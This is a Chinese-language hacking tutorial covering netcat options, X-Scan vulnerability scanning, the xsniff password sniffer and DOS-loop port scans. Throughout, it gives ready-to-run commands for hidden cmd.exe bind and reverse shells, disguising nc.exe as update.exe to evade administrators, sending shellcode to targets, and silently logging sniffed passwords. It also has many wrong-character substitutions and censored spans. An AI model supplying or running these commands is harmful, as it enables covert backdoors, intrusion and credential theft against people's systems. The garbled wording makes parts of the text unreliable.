nc的用法介绍:
在***中它是最经典的工具之一。nc的全称为NetCat,它可以创建并接受传输控制协议(TCP)和用户数据报协议(UDP)的链接,Netcat可在这些链接上读写数据,直到链接关闭为止。它能够经过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来说,NetCat并不能产生UDP链接,由于UDP是一种无链接的协议。NetCat没有图形界面,很粗糙,很原始。
nc的命令行
nc的基本命令行形式是 nc [options] host ports,其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。
-d 只对Windows操做系统有用,该选项使NetCat以隐蔽模式工做,从而脱离MS-DOS命令提示符下环境运行,使得nc不须要保持打开命令窗口即可在监听模式下运行,也能够帮助***很好地隐藏监听NetCat实例而不被系统管理员发现。
-e 若是NetCat使用gaping_security_hole选项进行编译,那么只要某人在NET后台所监听的任何端口上创建链接,该NetCat都将执行,且客户端的NetCat会经过管道将I/O传输到在别处监听的另外一个NetCat实例中。使用这个选项很是危险,除非你对nc至关了解,起码知道你本身在作什么。这是在系统中创建后门shell的一个很是快捷且容易的方法。
-i 延时间隔,表示在两次数据发送之间nc等待的时间。例如:当通过管道传输一个文件到nc的时候,在传输输入的下一行以前,nc将等待的秒数。当使用nc对一台主机的多个端口之间进行操做时,在切换到下一个端口以前,nc等待的秒数。这样可使***在进行数据传输或对一个服务进行***的时候更加隐蔽,也能够帮助你的端口扫描不被***检测系统和系统管理员发现。
-g这个选项具备欺骗性。nc支持loose source routing(松散源路由)。你能够在命令行中指定多达8个-g选项来强迫nc流量通过特定的IP地址,这在你为流量设置伪造的源IP地址时,能够利用这个方法达到经过防火墙的过滤器或者容许访问主机列表,但愿接收到从主机返回的响应。
-G该选项让用户在-g选项所指定的路由列表中指定的一个地址做为当前的下一路由,因为IP地址为4字节大小(IPV4),因此这个参数老是4字节的倍数;例如,4表明路由表中的第一个IP地址,8表明第二个IP地址,依次类推。这在伪造部分源路由表使得报文看起来至关的有用。在进行欺骗和源路由时,这个功能有助于屏蔽你的位置,但也不必定能接收到响应报文,由于响应报文将通过由伪造的IP地址反路由回来。
-l 该选项切换nc的监听模式。此选项必须与-p选项一块儿使用以告诉nc绑定某个指定的TCP端口并等待到来的链接。若换成-u选项,则应使用UDP端口而非TCP端口。
-L 该选项在Windows版本中有用,当一个链接被关闭后,使用相同的命令行选项进行重启监听模式,即便此时初始的链接已经结束,nc也能在不须要用户干涉的状况下接收后面新的链接。与-l同样,必须与-p同时使用。
-n 该选项告诉咱们nc不作任何主机名查找的工做。
-0对数据执行一次十六进制转储(hex dump )并将其存储在hexfile中。命令nc-o hexfile将把双向通讯的数据记录下来,在每行的开始处会有一个“<"或">”用来分别指示是进入数据仍是外出数据。若是只想获得对进入数据的十六进制转储,可使用 nc -ohexfile命令。
-p让用户指定一个nc应使用的本地端口号。当经过-l或-L选项来使用监听模式的时候,这个参数是必需的。若是没有为外出链接指定这个参数,则与大多数其余TCP或UDP客户程序的作法同样,nc将使用系统分配给他的任何端口。
-r 该参数使nc能够随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是颇有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功概率能获得很大提高。
-s 指定nc创建链接时所使用的IP地址,该选项容许***作一些工做,它容许***隐藏他们的IP地址或假冒他人的IP地址,可是要获得路由到他们所欺骗的地址的任何信息,都须要使用-g源路由选项。其次,当处于监听模式时,大多数状况下均可以与一个已经监听的服务“预先绑定”,全部TCP和UDP服务都绑定到某个端口。
-t 若是使用telnet选项编译,nc就能够与telnet服务器进行telnet选项协商,虽然它的响应是毫无心义的信息,但能够经过该状态看到链接23端口的信息。
-u nc使用UDP而非TCP,在客户模式和监听模式下都起做用。
-v 控制nc将要作的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v能够知道它链接或绑定的地址是否有问题发生,第2个-v可让nc在一个链接结束的时候让你知道这个链接总共发送和接收了多少数据。
-w控制在一个链接上nc放弃以前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)以后应该等待多长时间来关闭链接并退出。若是你经过nc向远程服务器发送命令而且指望大量的数据返回(例如:向一台web服务器发送一个http命令如下载一个大文件),该选项是颇有用的。
nc的具体使用
c:\nc.exe -l -p 4455 -d -e cmd.exe 能够很好的隐藏一个NetCat后门。
c:\nc.exe -p 4455 -d -L -e cmd.exe 这个命令可让***利用NetCat从新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,咱们同样能够把它作的更加隐蔽,
c:\move nc.exe c:\windows\system32\Drivers\update.exe
c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe
系统管理员可能把特权附属于一些无害的程序,如update.exe等,***也能够隐藏命令行。
c:\windows\systme32\drivers\update.exe
cmd line: -l -p 4455 -d -L -e cmd.exe
c:\>
nc -l - p 80
监听80端口
nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中
nc -v -l -p 80 监听80端口,并显示端口信息
nc -vv -l -p 80 监听80端口,显示更详细的端口信息
nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人链接的时候,就让cmd.exe以telnet的形式应答。固然这个最好用在控制的肉鸡上。
nc -v ip port 扫瞄某IP的某个端口
nc -v -z ip port-port扫描某IP的端口到某端口
nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口
参数介绍:
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d
后台模式
-e prog程序重定向,一旦链接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站链接
-L 链接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可获得更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
============================================================
基本用法:
大概有如下几种用法:
1)
链接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)
监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)
扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的全部端口
4)REMOTE
主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE
主机绑定SHELL并反向链接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向链接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有不少,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
============================================================
高级用法:
6)
做***程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:链接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,
真是有殊途同归之妙:P)
附:'c:\exploit.txt'为shellcode等
7)
做蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)能够不停地监听某一个端口,直到ctrl+c为止
8)
做蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'能够不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,若是把‘>'
改成‘>>'便可以追加日志
附:'c:\log.txt'为日志等
9)
做蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'能够不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其
管道中
附:'c:\honeypot.txt'为欺骗数据等
xscan的用法介绍
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其余选项] 扫锚"起始IP到终止IP"段的全部主机信息
xscan -file <主机列表文件名> <检测项目> [其余选项] 扫锚"主机IP列表文件名"中的全部主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操做系统类型(经过NETBIOS和SNMP协议)
-port 检测经常使用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus***脚本
-all 检测以上全部项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可经过"-l"参数获取
-l 显示全部网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的全部漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的全部主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
嗅探器xsniff用法介绍
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
不须要任何工具,DOS命令扫描一个网段的所有端口!在Windows2000下开一个DOS窗口,而后执行 for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389
这样192.168.0.x这个段的全部开放3389端口得主机都会暴露。
这条命令执行后,会在任务栏开254个小窗口。而后telnet连接失败的窗口会在大约5秒后自动退出,剩下的窗口就是相对应开放端口的主机了。
看一下小窗口的标题能够得知主机的ip地址,若是你以为机器性能很好的话 能够把/low参数去了。
扫描端口的介绍
如今扫描一台主机的多个端口,以下:
for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a
这样就扫描192.168.0.1的1到65535端口。 如今扫描一个网段的全部端口 : for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b 这样就会扫描192.168.0.x段的所有1到65535段口。 以上命令只能在Windows2000下使用,由于/l累加参数是Windows2000对for的扩展,固然WindowsXP和Windows.NET均可以用,WindowsME我没有试过,由于没有WindowsME的机器。